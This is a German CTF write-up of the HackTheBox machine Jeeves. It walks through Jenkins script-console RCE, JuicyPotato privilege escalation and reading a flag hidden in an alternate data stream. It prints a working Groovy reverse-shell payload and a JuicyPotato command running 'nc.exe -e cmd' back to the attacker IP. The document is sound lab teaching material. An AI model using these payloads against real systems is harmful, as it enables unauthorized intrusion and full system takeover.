> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Jeeves HackTheBox Writeup

Jeeves HackTheBox Medium Windows-Maschine Writeup zu Jenkins Script Console RCE, Groovy Reverse Shells, JuicyPotato, SeImpersonatePrivilege und Alternate Data Streams.

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Fähigkeiten**

* Aufzählung von Netzwerk- und Webdiensten mit Nmap und Gobuster.
* Remotecodeausführung über die Jenkins Script Console mit Groovy.
* Windows-Rechteausweitung mit `SeImpersonatePrivilege` und JuicyPotato.
* Entdeckung und Extraktion alternativer NTFS-Datenströme.
  {% endhint %}

### Aufklärung

#### Arbeitsumgebung vorbereiten

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fp5l0YHO2gSHtBfCwsjwX%2Fimage.png?alt=media&amp;token=80310086-70eb-4139-83d8-aed244bc0daa" alt=""><figcaption></figcaption></figure>

#### Das Betriebssystem identifizieren

Der TTL-Wert von `128` weist auf einen Windows-Host hin.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5jFy9CUPomhKJANnIbOL%2Fimage.png?alt=media&amp;token=cda5452b-ea2e-4a6c-9206-701d206ca429" alt=""><figcaption></figcaption></figure>

#### Nach offenen Ports scannen

Führe einen vollständigen TCP-SYN-Scan aus:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.129.228.112 -oG allPorts
```

Der Scan identifiziert die Ports `80`, `135`, `445`, und `50000`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYkmmNVaGo0REDPfM03ls%2Fimage.png?alt=media&amp;token=0545139f-08cb-4ae8-8059-1e5c4524668a" alt=""><figcaption></figcaption></figure>

Führe gezielte Dienst- und Versionserkennung aus:

```bash
nmap -sCV -p80,135,445,50000 10.129.228.112 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuP3RgVUGTYfOqlAkWWHu%2Fimage.png?alt=media&amp;token=bc3cf72f-c314-4809-8220-ad7e34f6308f" alt=""><figcaption></figcaption></figure>

#### Den Webdienst untersuchen

Port `50000` identifiziert sich als Jetty:

`Powered by Jetty:// 9.4.z-SNAPSHOT`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7IgTqnahoF6EtTOKW6nJ%2Fimage.png?alt=media&amp;token=aa5c877e-0782-4bec-8276-44ce3b7b7a16" alt=""><figcaption></figcaption></figure>

Web-Pfade aufzählen:

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.228.112:50000 -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6lA1BnuTx6uwzFckEFyX%2Fimage.png?alt=media&amp;token=f4d7ed91-30c9-4447-abb7-3600682fb702" alt=""><figcaption></figcaption></figure>

Das `/askjeeves` Pfad hostet Jenkins `2.87`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjUW5aId6UYTqWSQnwELs%2Fimage.png?alt=media&amp;token=b581b11e-5f4a-404e-b977-691d4af99d53" alt=""><figcaption></figcaption></figure>

### Erstzugriff

#### Verwende die Jenkins Script Console

Öffne die **Script-Konsole** unter `/askjeeves/script`. Sie akzeptiert Groovy-Code und führt ihn auf dem Jenkins-Host aus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgHFbFoVHTPZXDVRo6eYN%2Fimage.png?alt=media&amp;token=b7c32c15-88b6-46c3-9ecd-78c20bd1879b" alt=""><figcaption></figcaption></figure>

Führe einen ungefährlichen Befehl aus, um die Codeausführung zu bestätigen:

```groovy
def process = "PowerShell.exe cmd.exe /c dir".execute()
println "Found text ${process.text}"
```

Die Befehlsausgabe bestätigt die Remotecodeausführung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FprrUu6VQdEs9BI6rtkZC%2Fimage.png?alt=media&amp;token=96704baa-6567-42b8-8081-80e46be5d13d" alt=""><figcaption></figcaption></figure>

#### Eine Reverse Shell erhalten

Starte einen Listener auf Port `443`:

```bash
sudo rlwrap nc -nvlp 443
```

Führe diesen Groovy-Payload in der Script Console aus. Ersetze die Callback-Adresse und den Port nach Bedarf.

{% code overflow="wrap" %}

```groovy
Thread.start {
String host="10.10.15.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

{% endcode %}

Der Listener erhält eine Shell als `kohsuke`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfjawZKXRlyqSQbCY6w45%2Fimage.png?alt=media&amp;token=c8566621-ea77-479b-b7ff-5da8f3557fe0" alt=""><figcaption></figcaption></figure>

#### Jenkins-Anmeldedaten prüfen

Die Jenkins-Konfiguration enthält ein verschlüsseltes API-Token:

{% code overflow="wrap" %}

```bash
AQAAABAAAAAwID3cR3pyZaEkaDPU25Z0S+nrU8+gDgB0JEWORJ5L1P2T+zXc/tSs2IVn1ugWLaui54D6yYki4vhXQtGhqUSeFw==
```

{% endcode %}

Sie speichert außerdem das Administratorpasswort als BCrypt-Hash:

{% code overflow="wrap" %}

```bash
$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fo1jp46eNfFUgn3O6U5rH%2Fimage.png?alt=media&amp;token=a1a37c1d-4efb-4fbb-a4d1-b326e56602da" alt=""><figcaption></figcaption></figure>

#### Die User-Flag holen

{% code overflow="wrap" %}

```bash
type C:\Users\kohsuke\Desktop\user.txt
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F23OEmwXPHnpyK8EUCxfF%2Fimage.png?alt=media&amp;token=34374874-6628-48d8-bc01-5143706806b0" alt=""><figcaption></figcaption></figure>

### Privilegieneskalation

#### Die erforderlichen Tools übertragen

Hoste die Dateien von der Angreifer-Maschine aus:

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Kopiere `nc.exe` und JuicyPotato auf das Ziel:

{% code overflow="wrap" %}

```bash
copy \\10.10.15.2\share\nc.exe C:\Users\kohsuke\Downloads\nc.exe
```

{% endcode %}

```bash
copy \\10.10.15.2\share\JuicyPotato.exe C:\Users\kohsuke\Downloads\JuicyPotato.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FESrLf5YSFgIBOoDaONYl%2Fimage.png?alt=media&amp;token=e2ce0149-338b-4f76-aca1-ad0ff8508599" alt=""><figcaption></figcaption></figure>

#### Ausnutzen `SeImpersonatePrivilege`

Starte einen Listener für die privilegierte Shell:

{% code overflow="wrap" %}

```bash
rlwrap nc -nlvp 4444
```

{% endcode %}

Führe JuicyPotato aus, um `nc.exe` als `NT AUTHORITY\SYSTEM`:

{% code overflow="wrap" %}

```bash
.\JuicyPotato.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/kohsuke/Downloads/nc.exe -e cmd 10.10.15.2 4444"
```

{% endcode %}

Der Callback läuft als `NT AUTHORITY\SYSTEM`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhIN4Z86m8iJHIerulqL8%2Fimage.png?alt=media&amp;token=d1a66516-50ed-49ef-8e77-6a82f597665f" alt=""><figcaption></figcaption></figure>

### Root-Flag

Liste alternative Datenströme im Desktop-Verzeichnis des Administrators auf:

```cmd
cd C:\Users\Administrator\Desktop
dir /r
```

Die Ausgabe zeigt die Flag in dem `hm.txt:root.txt:$DATA` Stream. Lies sie direkt aus:

```bash
more < hm.txt:root.txt:$DATA
```

Damit ist die Maschine abgeschlossen als `NT AUTHORITY\SYSTEM`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FKQnhNBDF9syZbsWUSwBW%2Fimage.png?alt=media&amp;token=b527308d-7019-4534-a58d-1fd1046a23f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcTRj5nHStNJyCplC0Dnl%2Fimage.png?alt=media&amp;token=92bc0bd3-f976-4e3c-a90d-e18bec111bc0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
